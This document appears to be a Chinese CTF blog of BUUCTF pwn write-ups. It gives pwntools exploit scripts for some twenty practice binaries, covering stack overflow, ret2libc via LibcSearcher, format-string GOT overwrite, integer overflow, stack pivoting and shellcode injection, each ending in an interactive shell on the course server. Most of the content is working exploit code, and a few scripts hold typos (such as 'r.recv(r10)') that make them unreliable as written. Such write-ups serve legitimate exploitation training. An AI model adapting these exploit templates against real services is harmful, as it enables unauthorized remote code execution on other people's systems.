Buuctf pwn

buu

rip

知识补充:pwn远程的时候遇到 timeout: the monitored command dumped core 怎么办_

照例一波

image-20210810163325029

啥也没开,直接IDA

image-20210810163356348

有/bin/sh,记录覆盖地址,接着跟进main

image-20210810163422612

栈溢出

image-20210810163445944

15+8=23

exp

1
2
3
4
5
from pwn import *
p=remote("node4.buuoj.cn",25720)
payload = b'a'*23+p64(0x401185)+p64(0x401186)
p.sendline(payload)
p.interactive()

csaw2016

照例

image-20210810170430280

啥也没开估计也是栈溢出,IDA

image-20210810170459054

栈溢出

image-20210810170529733

image-20210810170538184

40+8=48

接下来没发现/bin/sh,但是有这个

image-20210810170857375

同样可以返回它的地址拿shell,然后它找到压栈的地址

image-20210810171117509

exp

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",29116)
sys=0x400611
payload = 'a'*0x48+p64(sys)
p.sendline(payload)
p.interactive()

ciscn2019

照例

image-20210810173707633

说值应该是11.28125,输了后也没啥事

IDA

image-20210810173741252

栈溢出,用v1的值覆盖v2

image-20210810173814473

image-20210810173821370

v1与v2之间为0x30-0x4,先填满,然后再直接打11.28125的地址就行了。因为返回的值为11.28125,在IDA里以十六进制储存。就是0x41348000

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",25804)
sys=0x41348000
payload = 'a'*(0x30-0x4)+p64(sys)
p.sendline(payload)
p.interactive()

sctf2016

照例

image-20210810174622785

IDA

image-20210810223418346

虽然fgets那里有规定输入长度32,但是发现strcpy,存在栈溢出,不过大致看了一会儿并不会,看wp

得知这一串内容是让“you”代替“I”,意思是只要“you”的值覆盖掉输入“I”的长度即可,而“you”是3个字符,满足32就用20个“I”然后就变成60个字符造成溢出,再然后加上最后的4

image-20210811013323435

接下来找到后门

image-20210811013105693

exp

1
2
3
4
5
6
from pwn import *
p=remote("node4.buuoj.cn",25454)
sys=0x08048f0d
payload = b'I'*20+b'a'*4+p64(sys)
p.sendline(payload)
p.interactive()

ciscn2019_c_1

wp参考: BUUCTF——ciscn_2019_c_1_

ciscn_2019_c_1 | LiuLian (liul14n.top)

照例

image-20210814215923374

IDA

image-20210814233352397

跟进encrypt

image-20210814233419966

gets里可以利用溢出,但是跟进不了v2是因为程序会对我们输入的字符串v2进行一系列异或操作。

image-20210814234919460

再看到下面的++x;,然后也可以推测出x的初始值为0。

这也就是说,只有当我们输入的字符串的长度大于x的值的时候,才会执行这一系列异或操作。

所以如果我们输入两次长度相等的字符串,那么只会对第一次输入的字符串进行异或。

image-20210814233857309

然后这题没有system,就是ret2libc的题型

由于是64位程序传参先找到rdi

1
ROPgadget --binary ciscn2019c1 --only "pop|ret" | grep rdi

image-20210814234658247

然后由于Ubuntu18运行机制与前面版本的不同,因此调用system需要栈对齐,这里填充ret来对齐

1
ROPgadget --binary ciscn2019c1 |grep ret

image-20210814235141594

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import LibcSearcher

r=remote('node4.buuoj.cn',25488)
elf=ELF('./ciscn2019c1')

rdi=0x400c83
main = 0x400b28
ret=0x4006b9

#输出的是plt和got表地址
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

#第一次payload输出puts_got的内容,我们得控制程序执行流
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)#让它返回到main函数,这样我们才可以再一次利用输入点构造rop
r.sendlineafter('encrypted\n',payload)
r.recvline()
r.recvline()

#接收程序返回的地址
puts_addr=u64(r.recvuntil('\n')[:-1].ljust(8,'\0'))#不满8位的用0补足
print hex(puts_addr)

#构造rop
libc=LibcSearcher('puts',puts_addr)#找到libc版本
offset=puts_addr-libc.dump('puts')#算出偏移量
binsh=offset+libc.dump('str_bin_sh') #偏移量+libc函数地址=实际函数地址
system=offset+libc.dump('system')

#第二次payload,实现交互
r.sendlineafter('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(rdi)+p64(binsh)+p64(system)
r.sendlineafter('encrypted\n',payload)
r.interactive()

PWN5

照例

image-20210815225707104

IDA

image-20210815225729946

格式化字符串漏洞,根据if语句分析要改写unk_804C044之中的数据,然后输入数据对比atoi就行。

跟进

image-20210815230104471

记录下地址

测偏移量

image-20210815230158791

数一下是10,又知道长度是4个字节,那么任意写就可表示为

1
%10$hhn%11$hhn%12$hhn%13$hhn

然后前边加上任写的地址就行

exp

1
2
3
4
5
6
7
8
from pwn import *
#from LibcSearcher import LibcSearcher

r=remote('node4.buuoj.cn',26137)
addr = 0x0804C044
payload= p32(addr)+p32(addr+1)+p32(addr+2)+p32(addr+3)+"%10$hhn%11$hhn%12$hhn%13$hhn"
r.sendline(payload)
r.interactive()

思路二: 第五空间2019 决赛]PWN5 (jianshu.com)

用fmtstr构造更快,思路是利用格式化字符串改写atoi的got地址,将其改为system的地址,配合之后的输入,得到shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
#from LibcSearcher import LibcSearcher

r=remote('node4.buuoj.cn',26137)
elf=ELF('./pwn')

#改写atoi的got地址,将其改为system的地址
atoi_got=elf.got['atoi']
system_plt=elf.plt['system']

payload=fmtstr_payload(10,{atoi_got:system_plt})

r.sendline(payload)

r.interactive()

babyrop

32位ret2libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',28218)
#r=process('./pwn01')
elf=ELF('./pwn01')
write_plt=elf.plt['write']
read_got=elf.got['read']
read_plt=elf.plt['read']
main_addr=0x8048825


payload1='\x00'+'a'*6+'\xff'
r.sendline(payload1)
r.recvuntil('Correct\n')

payload='a'*0xe7+'b'*0x4+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)

r.sendline(payload)

read_addr=u32(r.recv(4))
print('[+]read_addr: ',hex(read_addr))

libc=LibcSearcher('read',read_addr)
libc_base=read_addr-libc.dump('read')
system_addr=libc_base+libc.dump('system')
bin_sh_addr=libc_base+libc.dump('str_bin_sh')


r.sendline(payload1)
r.recvuntil('Correct\n')
payload='a'*0xe7+'b'*0x4
payload+=p32(system_addr)*2+p32(bin_sh_addr)
r.sendline(payload)

r.interactive()

ciscn2019n8

保护全开,IDA

image-20211020203126501

简单易懂,令var[13]=17就行

知识补充:qword全称是Quad Word。2个字节就是1个Word(1个字,16位),q就是英文quad-这个词根(意思是4)的首字母,所以它是word的四倍,8字节

1
2
3
4
5
6
7
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',29558)
payload=b"aaaa"*13+p32(17)
r.sendline(payload)
r.interactive()

level2

遇到timeout了,再加一遍地址

1
2
3
4
5
6
7
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',26843)
payload=b"a"*140+p32(0x08048320)+p32(0x08048320)+p32(0x0804A024)
r.sendlineafter("Input:",payload)
r.interactive()

get_started_3dsctf_2016

wp参考:[(9条消息) BUUCTF]PWN11——get_started_3dsctf_2016_mcmuyanga的博客-CSDN博客_get_started_3dsctf_2016

这题的主要方法就是利用ret持续控制程序

知识补充:

mprotect()函数:把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。

not_the_same_3dsctf_2016

wp参考:not_the_same_3dsctf_2016来自BUUCTF - Mua_Uncle_W - 博客园 (cnblogs.com)

知识补充:fopen,fgets函数,用fopen将flag.txt文件读取,fgets存放到f14g里面

image-20211021151827895

跟进可知他在.bss段image-20211021152138878

可以作为覆盖地址

垃圾数据填充 get_secret函数的地址 write函数的地址 fl4g变量的位置 最后是write函数的参数

1
2
3
4
5
6
7
8
9
from pwn import *
from LibcSearcher import *
r=remote("node4.buuoj.cn",26002)
elf=ELF('./same')
flag_add=0x080ECA2D
get_secret=0x080489a0
payload='a'*0x2D+p32(get_secret)+p32(elf.symbols['write'])+p32(flag_add)+p32(0)+p32(flag_add)+p32(45)
r.sendline(payload)
r.interactive()

ciscn_2019_n_5

.bss段上name可利用为/bin/sh

然后就是简单的栈溢出

img

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import*

r=remote('node4.buuoj.cn',28304)

context(arch='amd64',os='linux')
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)

payload='a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)

r.interactive()

others_shellcode

IDA发现是getshell利用shellcode,直接nc

ciscn_2019_ne_5

‘sh’也可以拿shell,不一定是/bin/sh

ROPgadget查字符串

1
ROPgadget --binary ciscn2019ne5 --string 'sh'

image-20211023212427788

然后IDA,主函数是一堆选项

image-20211023213232716

image-20211023213057682

意思是最后是要退回到GetFlag里执行栈。

跟进GetFlag有strcpy函数,栈溢出。分别跟进dest和src

image-20211023212746980

image-20211023212505052

image-20211023212853269

所以在shell前加8字节才能覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import*

r=remote('node4.buuoj.cn',29146)
r.recvuntil("Please input admin password:")
r.sendline( "administrator")
r.recvuntil("0.Exit\n:")
r.sendline("1")
sys=0x080484d0
sh=0x080482ea
payload='a'*76+p32(sys)+'aaaa'+p32(sh)
r.recvuntil("Please input new log info:")
r.sendline(payload)
r.recvuntil('0.Exit\n:')
r.sendline('4')
r.interactive()

bjdctf_2020_babyrop

64位简简单单的ret2libc,直接套模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import*
from LibcSearcher import *
#io=process('./pwn07')
#context(arch='amd64',os='linux',log_level='debug')
r=remote('node4.buuoj.cn',27518)
elf=ELF('./bjdbabyrop')

main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_rdi=0x400733

payload='a'*(0x20+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,'\x00'))

libc=LibcSearcher('puts',puts_addr)

offset=puts_addr-libc.dump('puts')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x20+8)+p64(pop_rdi)+p64(bin_sh)+p64(system)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)

r.interactive()

pwn2_sctf_2016

wp参考:[BUUCFT]PWN——pwn2_sctf_2016 - Angel-Yan - 博客园 (cnblogs.com)

image-20211026173858837

IDA

image-20211026174310934

发现溢出点

image-20211026175946526

跟进atoi,发现整数溢出

image-20211026174359554

unsigned int,int等都可以利用整数溢出实现缓冲区溢出攻击。输入负数,绕过长度限制,造成溢出

没system,用ret2libc打,换printf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import *

r=remote('node4.buuoj.cn',26337)
elf=ELF('./pwn2sctf')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')#输入-1的话会成为4294967295造成溢出
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
r.sendline(payload)
r.recvuntil('\n')
printf_addr=u32(r.recv(4))
libc=LibcSearcher('printf',printf_addr)

offset=printf_addr-libc.dump('printf')
system=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

r.recvuntil('How many bytes do you want me to read? ')
r.sendline('-1')
r.recvuntil('\n')
payload='a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
r.sendline(payload)

r.interactive()

jarvisoj_fm

先查

image-20211026183855261

IDA

image-20211026183908484

标准最简单的格式化字符串

经典测偏移

image-20211026183942799

11

1
2
3
4
5
6
7
from pwn import *
#context(arch = 'amd64', os = 'linux')
r=remote("node4.buuoj.cn",26189)
x_addr=0x0804a02c
payload=p32(x_addr)+'%11$n'
r.send(payload)
r.interactive()

bjdctf_2020_babystack2

标准的简单整数溢出

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
#context(arch = 'amd64', os = 'linux')
#r = process("./CGfsb")
r=remote("node4.buuoj.cn",29824)

r.recvuntil('[+]Please input the length of your name:')
r.sendline('-1')
backdoor=0x400726
payload='a'*24+p64(backdoor)
r.sendline(payload)

r.interactive()

baby_rop2

wp参考:[BUUCTF]PWN——[HarekazeCTF2019]baby_rop2 - Angel-Yan - 博客园 (cnblogs.com)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

#p = process('./babyrop2')
p = remote('node3.buuoj.cn',28485)
elf = ELF('babyrop2')

pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770
ret_addr = 0x0000000000400734

printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']

payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)

p.recvuntil("name? ")
p.sendline(payload)


read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
print hex(read_addr)
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')

sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')

payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

知识补充:栈迁移 - SkYe Wiki (mrskye.cn)

wp参考:pwn-ciscn_2019_es_2(栈迁移) - remon535 - 博客园 (cnblogs.com)

ciscn_2019_es_2 - mio_yy - 博客园 (cnblogs.com)

栈迁移核心思想就是利用leave和ret转移ebp和esp。leave和ret常用于复原栈

leave=mov esp,ebp

pop ebp

ret=pop eip

image-20211027201100380

IDA跟进vul发现溢出点

image-20211027201155997

溢出的空间不足。read大小为0x30,s变量和ebp距离为0x28。只能覆盖ebp和ret。使用栈迁移解决栈空间不足的问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from LibcSearcher import *
context.log_level='debug'


#p=remote('node4.buuoj.cn',27101)
p=process('./ciscn_2019_es_2')
elf=ELF('ciscn_2019_es_2')
sys_plt=0x8048400
leave_ret=0x8048562

py='a'*0x27
p.sendlineafter('name?\n',py)
p.recvuntil('\n')
ebp=u32(p.recv(4))

payload='a'*4+p32(sys_plt)+p32(0)+p32(ebp-0x28)+'/bin/sh'
payload=payload.ljust(0x28,'\0')
payload+=p32(ebp-0x38)+p32(leave_ret)
p.sendlineafter('\n',payload)
#gdb.attach(p)

p.interactive()

jarvisoj_tell_me_something

有fopen函数,相当于backdoor

1
2
3
4
5
6
7
8
from pwn import *
#p = process('./guestbook')
p = remote('node4.buuoj.cn', 29850)
sh = 0x0400620
payload = 'a'*0x88 + p64(sh)
p.recvuntil("message:")
p.sendline(payload)
p.interactive()

ez_pz_hackover_2016

法一:peta调试。wp参考(13条消息) ez_pz_hackover_2016_沫忆末忆的博客-CSDN博客_ez_pz_hackover_2016

image-20211101203620034

NX也没开,第一时间想到用ret2shellcode打,运行看

image-20211101203803396

IDA里跟进chall,是主结构

image-20211101203707855

没后门,保护全关,确定ret2shellcode。看代码得知,先打印出的来的地址是s的缓冲区地址,接收一个大小不超过1023字节的输入到s缓冲区,然后将缓冲区里换行符后面的内容全部置为0,最后将缓冲区内容与”crashme”这个字符串作比较,如果相同就会进入到vuln函数(这里很明显s是无法溢出的)

image-20211101204410194

memcpy函数,将第一个参数长度的内容复制到dest

所以。因为输入到s缓冲区的内容长度不够,无法实现溢出,利用vuln函数就可以把构造好的shellcode放入到栈中进行执行,要执行shellcode则要知道shellcode的地址,而chall函数在执行时就已经把s缓冲区的地址打印出来,最后计算s缓冲区和shellcode地址的相对偏移量,动调计算偏移就会得到shellcode的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
context.log_level = 'debug'

#p = process('./ez_pz_hackover_2016')
p = remote('node4.buuoj.cn', 29966)

shellcode = asm(shellcraft.sh())

p.recvuntil('lets crash: ')
stack_addr = int(p.recv(10), 16)
shellcode_addr = stack_addr-28

payload = 'crashme\x00'.ljust(26,"\x00")+p32(shellcode_addr)+shellcode
p.sendlineafter("> ",payload)

p.interactive()

法二:pwndbg调试。wp参考BUUCTF]PWN——ez_pz_hackover_2016 - Angel-Yan - 博客园 (cnblogs.com)

利用思路也是往s参数里写入shellcode,执行vuln函数后让dest造成溢出,将返回地址修改为shellcode的地址去执行

接下来动调,找vuln函数里一个nop下断点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
p=process('./ez_pz_hackover_2016')
context.log_level='debug'

gdb.attach(p,'b *0x8048600')#利用gdb动调,在0x8048600处下了个断点

p.recvuntil('crash: ')
stack=int(p.recv(10),16)#接收回显的参数s在栈上的地址,长度是10,以16进制表示
print(hex(stack))

payload='crashme\x00'+'aaaa'#前面的crashme\x00绕过if判断
#后面的aaaa是测试数据,去栈上找它的地址
#利用它找到返回地址在栈上的地址,将返回地址覆盖为shellcode
p.sendline(payload)

pause()

执行脚本,c执行到断点处,查看栈的布局情况 stack 30

image-20211102150836424

ebp位置:0x38

返回地址是ebp下面即:0x3c(刚好是0x38+4)

输入参数的位置:0x22(看的到”ashme”,“cr”在前面,它们的ascii码是63和72,72 63分别对应0x23,0x22,后两位依次是0x21,0x20)

所以ebp是距离输入点的0x38-0x22=0x16,shellcode位置写在他之后即0x16+4=0x1a(32位下ebp占4字节)

最后找shellcode导向的地址就行了!

首先,调试输出来的地址就是s的地址,保存在了stack变量中

image-20211102150912458

而shellcode要导向的地址,也就是栈溢出覆盖后返回地址的下面,所以shellcode是0xffa28110,那么shellcode的地址在0xffa28110也就是s上面即 0xffa2812c-0xffa28110=0x1c的位置,即address=stack-0x1c。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *


r=process('./ez_pz_hackover_2016')
context.log_level='debug'

#gdb.attach(p,'b *0x8048600')

r.recvuntil('crash: ')
stack=int(r.recv(r10),16)
shellcode=asm(shellcraft.sh())
#print hex(stack)

payload='crashme\x00'+'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode#其中有8个字节是"crashme\x00”,所以减个8
r.sendline(payload)

#pause()

r.interactive()

ctfhub